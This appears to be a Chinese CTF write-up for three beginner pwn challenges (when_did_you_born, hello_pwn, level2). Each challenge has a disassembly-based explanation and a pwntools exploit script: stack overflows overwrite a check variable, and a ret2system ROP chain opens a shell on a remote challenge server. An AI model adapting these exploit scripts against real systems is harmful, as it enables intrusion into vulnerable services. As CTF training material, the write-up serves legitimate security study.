PWN

When_did_you_born

  • 先用IDA查看反汇编代码

  • 可以看到必须要在第二次输入时,使v5=1926即可返回flag。而第二次输入传值给的V4距离V5只有8,也就是说只要我们的输入超出8位后,便可以覆盖到V5上面了

EXP

1
2
3
4
5
6
7
8
9
from pwn import *
sh = process("./when_did_you_born")
sh = remote("111.198.29.45",40573)
payload = "a"*8+p64(1926)
sh.recvuntil("Birth?\n")
sh.sendline("hhh")
sh.recvuntil("Name?\n")
sh.sendline(payload)
sh.interactive()

Hello_pwn

  • IDA查看反汇编代码,和上一题思路基本一致

  • 只要使dword_60106c=1853186401即可调用system函数,而dword_60106c距离read读取用户输入的地址只差4,也就是超出4位后,覆盖一下即可

EXP

1
2
3
4
5
6
7
from pwn import *
#sh = process("./hello_pwn")
sh = remote("111.198.29.45",45344)
payload = "a"*4+p64(1853186401)
sh.recvuntil("bof\n")
sh.sendline(payload)
sh.interactive()

level2

  • cheksec发现是个32位的程序,拖入32位IDA查看反汇编代码

  • 可以看到直接有system函数,那么只要再找到/bin/sh字符串即可返回shell

  • 使用ROPgadget搜索字符串

  • 然后就可以直接构造payload了

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
sh = process("./level2")
sh = remote("111.198.29.45",50653)
elf = ELF("./level2")
main = 0x08048480
system = elf.sym["system"]
binsh = 0x0804a024
payload = "a"*140
payload += p32(system)+p32(main)+p32(binsh)
sh.recvuntil("nput:\n")
sh.sendline(payload)
sh.interactive()